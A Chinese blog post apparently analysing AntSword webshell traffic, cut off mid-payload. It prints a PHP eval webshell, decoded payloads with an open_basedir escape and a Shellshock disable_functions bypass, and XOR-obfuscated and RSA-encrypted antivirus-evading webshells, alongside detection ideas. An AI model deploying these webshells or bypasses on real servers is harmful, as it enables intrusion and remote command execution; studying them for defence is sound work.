前言
某天看到群友的蚁剑反制,忽然想研究一下蚁剑了,在这里记录一下自己研究学习的心得。
环境
尝试使用 BurpSuite 抓取蚁剑发送流量,所需环境如下:
- webshell:[POST]127.0.0.1/webshell.php password=1
<?php
@eval($_POST['1']);
?>
- 蚁剑,代理设置127.0.0.1,端口8080
- BurpSuite,代理端口设置8080
User-Agent混淆实现
在早期的蚁剑版本中,User-Agent使用的是antSword/v2.1
,容易被WAF标记拦截,于是在之后的版本中修改为随机的User-Agent,在/modules/requests.js中可以进行修改:
let logger;
// 请求UA
const USER_AGENT = require('random-fake-useragent');
// 请求超时
const REQ_TIMEOUT = 10000;
// 代理配置
const APROXY_CONF = {
mode: 'noproxy',
uri: ''
}
可以看到新版的蚁剑 require('random-fake-useragent')
,追踪逻辑可以看到是来自GitHub的一个开源项目的数据,逻辑实现是在/node_modules/random-fake-useragent/index.js中:
exports.getRandom = function(browserType) {
var data = useragents
if (browserType) {
data = data[browserType]
}
data = flattenArr(data)
return data.length ? data[randomBetween(0, data.length - 1)] : null
}
这里的useragents则来自/node_modules/random-fake-useragent/data/useragents.json,根据不同的浏览器随机混淆。
蚁剑通信数据
建立连接
通过抓包,发送蚁剑的连接请求,可以拿到以下POST数据:
1=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(%22%2F%3B%7C%3A%2F%22%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.9380d4351%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22e8a8%22.%22f35c%22%3Becho%20%40asenc(%24output)%3Becho%20%22ce89%22.%220bb0%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B
解码可得:
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split("/;|:/",$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.9380d4351";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
};
};;
function asenc($out){
return $out;
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "e8a8"."f35c";
echo @asenc($output);
echo "ce89"."0bb0";
}
ob_start();
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))
$R.="{$L}:";
}
else{
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();
逐行分析,首先执行了一个类似不死马的操作,不报错且无超时限制。
@ini_set("display_errors", "0");
@set_time_limit(0);
后面的if片段先跳过,到后面两个自定义的函数,返回缓冲区内容到output,并且清除关闭缓冲区,后将缓冲区内容输出:
function asenc($out){
return $out;
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "e8a8"."f35c";
echo @asenc($output);
echo "ce89"."0bb0";
}
接着进入try…catch
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))
$R.="{$L}:";
}
else{
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
尝试获取当前文件所在目录的绝对路径的目录名称,若获取失败则获取文件目录的基本路径的目录名称,然后获取的加一个TAB赋值给R。
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
这里通过文件路径头来判断是Windows系统还是Linux系统,如果是Windows则穿越到磁盘根目录,是Linux则定为根目录。
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))
$R.="{$L}:";
}
else{
$R.="/";
}
检测是否存在posix_getegid函数,存在则调用posix_getpwuid,返回当前用户的基本信息。最后赋值并输出信息。
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;;
如果执行失败,则输出错误信息
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
输出缓存并断开连接。
asoutput();
die();
以上是旧版蚁剑的实现逻辑,在新版蚁剑中引入了新的if语句,用来逃逸open_basedir的设置。开发者可能会设置open_basedir,现在有多种逃逸的方式,这里蚁剑使用了chdir()、ini_set()函数组合,穿越目录到根目录。
常见的payload:
ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');system(‘cat ../../../../../etc/passwd’);
蚁剑的实现:
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split("/;|:/",$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.9380d4351";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
};
};;
执行命令
尝试执行命令dir,截获数据包:
1=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(%22%2F%3B%7C%3A%2F%22%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.58faf03957f%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%2273aa0d%22.%2298ed53%22%3Becho%20%40asenc(%24output)%3Becho%20%22a1e%22.%22faf1%22%3B%7Dob_start()%3Btry%7B%24p%3Dbase64_decode(substr(%24_POST%5B%22d95d878aa61a2c%22%5D%2C2))%3B%24s%3Dbase64_decode(substr(%24_POST%5B%22w6adda4dd7e233%22%5D%2C2))%3B%24envstr%3D%40base64_decode(substr(%24_POST%5B%22rc522ff693b739%22%5D%2C2))%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24c%3Dsubstr(%24d%2C0%2C1)%3D%3D%22%2F%22%3F%22-c%20%5C%22%7B%24s%7D%5C%22%22%3A%22%2Fc%20%5C%22%7B%24s%7D%5C%22%22%3Bif(substr(%24d%2C0%2C1)%3D%3D%22%2F%22)%7B%40putenv(%22PATH%3D%22.getenv(%22PATH%22).%22%3A%2Fusr%2Flocal%2Fsbin%3A%2Fusr%2Flocal%2Fbin%3A%2Fusr%2Fsbin%3A%2Fusr%2Fbin%3A%2Fsbin%3A%2Fbin%22)%3B%7Delse%7B%40putenv(%22PATH%3D%22.getenv(%22PATH%22).%22%3BC%3A%2FWindows%2Fsystem32%3BC%3A%2FWindows%2FSysWOW64%3BC%3A%2FWindows%3BC%3A%2FWindows%2FSystem32%2FWindowsPowerShell%2Fv1.0%2F%3B%22)%3B%7Dif(!empty(%24envstr))%7B%24envarr%3Dexplode(%22%7C%7C%7Casline%7C%7C%7C%22%2C%20%24envstr)%3Bforeach(%24envarr%20as%20%24v)%20%7Bif%20(!empty(%24v))%20%7B%40putenv(str_replace(%22%7C%7C%7Caskey%7C%7C%7C%22%2C%20%22%3D%22%2C%20%24v))%3B%7D%7D%7D%24r%3D%22%7B%24p%7D%20%7B%24c%7D%22%3Bfunction%20fe(%24f)%7B%24d%3Dexplode(%22%2C%22%2C%40ini_get(%22disable_functions%22))%3Bif(empty(%24d))%7B%24d%3Darray()%3B%7Delse%7B%24d%3Darray_map('trim'%2Carray_map('strtolower'%2C%24d))%3B%7Dreturn(function_exists(%24f)%26%26is_callable(%24f)%26%26!in_array(%24f%2C%24d))%3B%7D%3Bfunction%20runshellshock(%24d%2C%20%24c)%20%7Bif%20(substr(%24d%2C%200%2C%201)%20%3D%3D%20%22%2F%22%20%26%26%20fe('putenv')%20%26%26%20(fe('error_log')%20%7C%7C%20fe('mail')))%20%7Bif%20(strstr(readlink(%22%2Fbin%2Fsh%22)%2C%20%22bash%22)%20!%3D%20FALSE)%20%7B%24tmp%20%3D%20tempnam(sys_get_temp_dir()%2C%20'as')%3Bputenv(%22PHP_LOL%3D()%20%7B%20x%3B%20%7D%3B%20%24c%20%3E%24tmp%202%3E%261%22)%3Bif%20(fe('error_log'))%20%7Berror_log(%22a%22%2C%201)%3B%7D%20else%20%7Bmail(%22a%40127.0.0.1%22%2C%20%22%22%2C%20%22%22%2C%20%22-bv%22)%3B%7D%7D%20else%20%7Breturn%20False%3B%7D%24output%20%3D%20%40file_get_contents(%24tmp)%3B%40unlink(%24tmp)%3Bif%20(%24output%20!%3D%20%22%22)%20%7Bprint(%24output)%3Breturn%20True%3B%7D%7Dreturn%20False%3B%7D%3Bfunction%20runcmd(%24c)%7B%24ret%3D0%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(fe('system'))%7B%40system(%24c%2C%24ret)%3B%7Delseif(fe('passthru'))%7B%40passthru(%24c%2C%24ret)%3B%7Delseif(fe('shell_exec'))%7Bprint(%40shell_exec(%24c))%3B%7Delseif(fe('exec'))%7B%40exec(%24c%2C%24o%2C%24ret)%3Bprint(join(%22%0A%22%2C%24o))%3B%7Delseif(fe('popen'))%7B%24fp%3D%40popen(%24c%2C'r')%3Bwhile(!%40feof(%24fp))%7Bprint(%40fgets(%24fp%2C2048))%3B%7D%40pclose(%24fp)%3B%7Delseif(fe('proc_open'))%7B%24p%20%3D%20%40proc_open(%24c%2C%20array(1%20%3D%3E%20array('pipe'%2C%20'w')%2C%202%20%3D%3E%20array('pipe'%2C%20'w'))%2C%20%24io)%3Bwhile(!%40feof(%24io%5B1%5D))%7Bprint(%40fgets(%24io%5B1%5D%2C2048))%3B%7Dwhile(!%40feof(%24io%5B2%5D))%7Bprint(%40fgets(%24io%5B2%5D%2C2048))%3B%7D%40fclose(%24io%5B1%5D)%3B%40fclose(%24io%5B2%5D)%3B%40proc_close(%24p)%3B%7Delseif(fe('antsystem'))%7B%40antsystem(%24c)%3B%7Delseif(runshellshock(%24d%2C%20%24c))%20%7Breturn%20%24ret%3B%7Delseif(substr(%24d%2C0%2C1)!%3D%22%2F%22%20%26%26%20%40class_exists(%22COM%22))%7B%24w%3Dnew%20COM('WScript.shell')%3B%24e%3D%24w-%3Eexec(%24c)%3B%24so%3D%24e-%3EStdOut()%3B%24ret.%3D%24so-%3EReadAll()%3B%24se%3D%24e-%3EStdErr()%3B%24ret.%3D%24se-%3EReadAll()%3Bprint(%24ret)%3B%7Delse%7B%24ret%20%3D%20127%3B%7Dreturn%20%24ret%3B%7D%3B%24ret%3D%40runcmd(%24r.%22%202%3E%261%22)%3Bprint%20(%24ret!%3D0)%3F%22ret%3D%7B%24ret%7D%22%3A%22%22%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B&d95d878aa61a2c=UAY21k&rc522ff693b739=4H&w6adda4dd7e233=cBY2QgL2QgIkQ6XFxwaHBzdHVkeV9wcm9cXFdXVyImZGlyJmVjaG8gNzExODQyZTJkNGMmY2QmZWNobyBlMGRkZDJj
解码$_POST[1]:
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split("/;|:/",$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.58faf03957f";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
};
};;
function asenc($out){
return $out;
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "73aa0d"."98ed53";
echo @asenc($output);
echo "a1e"."faf1";
}
ob_start();
try{
$p=base64_decode(substr($_POST["d95d878aa61a2c"],2));
$s=base64_decode(substr($_POST["w6adda4dd7e233"],2));
$envstr=@base64_decode(substr($_POST["rc522ff693b739"],2));
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
if(substr($d,0,1)=="/"){
@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
}else{
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if(!empty($envstr)){
$envarr=explode("|||asline|||", $envstr);
foreach($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r="{$p} {$c}";
function fe($f){
$d=explode(",",@ini_get("disable_functions"));
if(empty($d)){
$d=array();
}else{
$d=array_map('trim',array_map('strtolower',$d));
}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
};
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
};
function runcmd($c){
$ret=0;
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
if(fe('system')){
@system($c,$ret);
}elseif(fe('passthru')){
@passthru($c,$ret);
}elseif(fe('shell_exec')){
print(@shell_exec($c));
}elseif(fe('exec')){
@exec($c,$o,$ret);
print(join("
",$o));
}elseif(fe('popen')){
$fp=@popen($c,'r');
while(!@feof($fp)){
print(@fgets($fp,2048));
}@pclose($fp);
}elseif(fe('proc_open')){
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while(!@feof($io[1])){
print(@fgets($io[1],2048));
}while(!@feof($io[2])){
print(@fgets($io[2],2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
}elseif(fe('antsystem')){
@antsystem($c);
}elseif(runshellshock($d, $c)) {
return $ret;
}elseif(substr($d,0,1)!="/" && @class_exists("COM")){
$w=new COM('WScript.shell');
$e=$w->exec($c);
$so=$e->StdOut();
$ret.=$so->ReadAll();
$se=$e->StdErr();
$ret.=$se->ReadAll();
print($ret);
}else{
$ret = 127;
}
return $ret;
};
$ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();
前面逻辑大致一致,重点在try语句中,先通过POST传入三个随机生成参数名的参数。
$p=base64_decode(substr($_POST["d95d878aa61a2c"],2));
$s=base64_decode(substr($_POST["w6adda4dd7e233"],2));
$envstr=@base64_decode(substr($_POST["rc522ff693b739"],2));
解密得:
$p = 'cmd';
$s = 'cd /d "D:\\phpstudy_pro\\WWW"&dir&echo 711842e2d4c&cd&echo e0ddd2c';
$envstr = '';
其中$p为执行命令用到的解释器,$s为需要执行的命令
接着根据操作系统,选择环境变量
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
if(substr($d,0,1)=="/"){
@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
}else{
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if(!empty($envstr)){
$envarr=explode("|||asline|||", $envstr);
foreach($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
最后拼接解释器和命令并执行,进行重定向,显示执行后的输出并终止程序。
$r = "{$p} {$c}";
$ret = @runcmd($r . " 2>&1");
print ($ret != 0) ? "ret={$ret}" : "";;
asoutput();
die();
执行命令调用函数rumcmd,先看一下fe函数,它将disable_functions转化为数组,然后判断函数是否存在、是否可调用、是否在disable_function中:
function fe($f){
$d=explode(",",@ini_get("disable_functions"));
if(empty($d)){
$d=array();
}else{
$d=array_map('trim',array_map('strtolower',$d));
}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
};
runcmd函数调用fe对各个命令执行的函数进行检测,如果能执行则执行命令,不能则尝试其他命令执行函数。分别尝试一下系统命令执行函数:
- system
- passthru
- shell_exec
- exec
- popen
- proc_open
- antsystem
如果这些都不能执行,会尝试调用自己实现的runshellshock
函数或COM类
function runcmd($c){
$ret=0;
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
if(fe('system')){
@system($c,$ret);
}elseif(fe('passthru')){
@passthru($c,$ret);
}elseif(fe('shell_exec')){
print(@shell_exec($c));
}elseif(fe('exec')){
@exec($c,$o,$ret);
print(join("
",$o));
}elseif(fe('popen')){
$fp=@popen($c,'r');
while(!@feof($fp)){
print(@fgets($fp,2048));
}@pclose($fp);
}elseif(fe('proc_open')){
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while(!@feof($io[1])){
print(@fgets($io[1],2048));
}while(!@feof($io[2])){
print(@fgets($io[2],2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
}elseif(fe('antsystem')){
@antsystem($c);
}elseif(runshellshock($d, $c)) {
return $ret;
}elseif(substr($d,0,1)!="/" && @class_exists("COM")){
$w=new COM('WScript.shell');
$e=$w->exec($c);
$so=$e->StdOut();
$ret.=$so->ReadAll();
$se=$e->StdErr();
$ret.=$se->ReadAll();
print($ret);
}else{
$ret = 127;
}
return $ret;
};
shellshock是一种利用unix漏洞来bypass disable_function的方法,其他类似bypass disable_Function插件的实现也基于基础上进行扩展。
function runshellshock($d, $c)
{
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
}
最后发包,返回命令执行的结果,再渲染到蚁剑的终端。
文件管理
访问目录时,遍历目录下的所有文件并回显
try {
$D = base64_decode(substr($_POST["o930dff714d3c9"], 2));
$F = @opendir($D);
if ($F == NULL) {
echo("ERROR:// Path Not Found Or No Permission!");
} else {
$M = NULL;
$L = NULL;
while ($N = @readdir($F)) {
$P = $D . $N;
$T = @date("Y-m-d H:i:s", @filemtime($P));
@$E = substr(base_convert(@fileperms($P), 10, 8), -4);
$R = " " . $T . " " . @filesize($P) . " " . $E . "
";
if (@is_dir($P)) $M .= $N . "/" . $R; else $L .= $N . $R;
}
echo $M . $L;
@closedir($F);
};
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
};
蚁剑部分插件的实现逻辑
Bypass disable_function
前面分析bypass disable_function的文章里已经分析过,这里就不再赘述。
免杀webshell生成
尝试生成PHP马
<?php
class KACB {
function VImC() {
$Ojuj = "\x6d" ^ "\xc";
$rPOk = "\x47" ^ "\x34";
$seXl = "\x5a" ^ "\x29";
$VmxT = "\xd8" ^ "\xbd";
$GpAN = "\x4b" ^ "\x39";
$KOVo = "\x32" ^ "\x46";
$RnGK =$Ojuj.$rPOk.$seXl.$VmxT.$GpAN.$KOVo;
return $RnGK;
}
function __destruct(){
$eXCV=$this->VImC();
@$eXCV($this->go);
}
}
$kacb = new KACB();
@$kacb->go = isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];
?>
尝试了类混淆、异或来进行绕过,在最新版的D盾已不适用。
无上帝兵
不说了,懂得都懂
编码器使用
蚁剑支持使用默认编码器或自定义编码器来编码数据传送的过程,混淆流量。
Base64
rot13
其他默认编码器的原理大致相同
编码器自定义
可以看一下base64编码器的实现逻辑
/**
* php::base64编码器
* ? 利用php的base64_decode进行编码处理
*/
'use strict';
a
module.exports = (pwd, data, ext = null) => {
// 生成一个随机变量名
let randomID;
if (ext.opts.otherConf['use-random-variable'] === 1) {
randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
} else {
randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
}
data[randomID] = Buffer
.from(data['_'])
.toString('base64');
data[pwd] = `@eval(@base64_decode($_POST['${randomID}']));`;
delete data['_'];
return data;
}
其中pwd是链接密码,data是post的数组,通过随机生成randomID,原有的 payload 在 data[‘_’]中,取出后重新编码存放在data[randomID]中,再在data[pwd]中添加执行的命令。最后删除data[‘_’]。于是返回的data中只存在data[randomID]以及data[pwd]。
编码器的反制
可以看到不论是什么编码器,最后都需要实现【执行】的操作,也就是eval函数,通过对命令函数+解码函数结合的审查方式,可以拦截大部分的蚁剑编码器。
return `@eVAl(cHr(0x${ret.join(').ChR(0x')}));`; // chr16
return `@eVAl(cHr(${ret.join(').ChR(')}));`;
// chr
data[pwd] = `@eval(@base64_decode($_POST['${randomID}']));`; // base64
data[pwd] = `@eval(@str_rot13($_POST['${randomID}']));`; // rot13
RSA编码器
蚁剑也支持RSA编码器,这里的思路也就是利用非对称加密的方式,先用私钥将传输的内容进行加密,然后传输给shell后,shell通过公钥进行解密,从而实现对流量的混淆,RSA的实现原理在这里不在叙述,但是使用RSA编码器需要前提条件,也就是需要开启openssl模块,不开启该模块无法调用解密函数。
免杀shell:
<?php
header('HTTP/1.1 404');
class COMI {
public $c='';
function __destruct() {
return eval(substr($this->c, 0));
}
}
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['x'];
$post = &$password;
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5ZIPIttsVOX4xU87JOkJCLZNW
g0H7dUdn0WCZofvwB3uWZy4xp7vvFqDkYakhOR0HOhRbLIHFg8gFKhBkJ8eyy78x
kd+L8zxjjUGqEek075VC0Bh7mqwfH5aANpI0LPxxasxq+MCe0OGGhnmI1ZGv/NNy
7zBTkeAIHOoyD/f1eQIDAQAB
-----END PUBLIC KEY-----
EOF;
$posts = explode("|", $post);
$pk = openssl_pkey_get_public($pk);
$post = '';
foreach ($posts as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$post .= $de;
}
}
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>
解码器
解码器用于绕过WAF对返回流量的追踪和检测(语义分析),实现逻辑跟编码器类似。
base64
/**
* php::base64解码器
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
*/
asoutput: () => {
return `function asenc($out){
return @base64_encode($out);
}
`.replace(/\n\s+/g, '');
},
/**
* 解码 Buffer
* @param {Buffer} buff 要被解码的 Buffer
* @returns {Buffer} 解码后的 Buffer
*/
decode_buff: (buff) => {
return Buffer.from(buff.toString(), 'base64');
}
}
可以看到实现的逻辑是替换流量中的asoutput函数,将返回的数据通过编码器编码,混淆返回的流量。
而其他的解码器类似。
解码器的反制
由于不知道使用的是哪种编码器,反制可能比较不方便,特别是如果业务本身就存在编码的数据交流。我想到的几种反制的方式:
- 通过多种编码尝试解码,找到有意义的解码方法,分析语境
- 一般来说这种混淆过的流量虽然能绕过WAF,但是由于异常很难绕过人眼
- 服务器执行命令的日志检测
但一般来说,如果自定义了多种编码方式套娃,其实很难被WAF所检测
蚁剑反制RCE
最初看到这个话题是在先知社区,然后是校长的pyq,比较有兴趣,看到了松鼠师傅在赛博回忆录发了自己的蚁剑反制分析网站,感觉这个思路比较有意思。
这个思路解决方法更不像是RCE,而是一种钓鱼手段。参考链接,但是目前主程序的反制手段确实是比较少的。
思路
红队反制通常比攻击更加复杂,因为除了找到RCE的方式,还要找到能够钓到红队的方法,松鼠师傅设想了以下场景。
- jb小子日站爆目录
- 爆到一个shell.php
- jb小子一看就知道这是前人的一句话木马,操起蚁剑就想连
- 为了增加jb小子连接的成功率甚至可以把密码打印在屏幕上
- 好了,jb小子连上了我们的恶意webshell,开启了蚁剑的终端
- 一打开终端看到报错,马上点击链接
- 渲染恶意页面JS—>RCE
我们的需求:
- 获取post过来的数据
- 通过正则判断特征,判断是哪一个数据包
- 如果是连通包则发送对应信息使其通过测试
- 如果是其他功能包,则返回对应的信息让功能”正常“打开。直至打开虚拟终端上钩。
- 远程代码配置上线操作
那么我们需要做的首先就是能欺骗蚁剑
连通请求
蚁剑的连通请求:
1=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$oparr=preg_split("/\\\\|\//",$opdir);
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$tmdir=".cc06e1b50e";
@mkdir($tmdir);
@chdir($tmdir);
@ini_set("open_basedir","..");
for ($i=0;$i<sizeof($oparr);$i++) {
@chdir("..");
}
@ini_set("open_basedir","/");
@rmdir($ocwd."/".$tmdir);
}
;
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "c63f"."aa80"; //校验码一
echo @asenc($output);
echo "03b"."b509"; //校验码二
}
ob_start();
try {
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
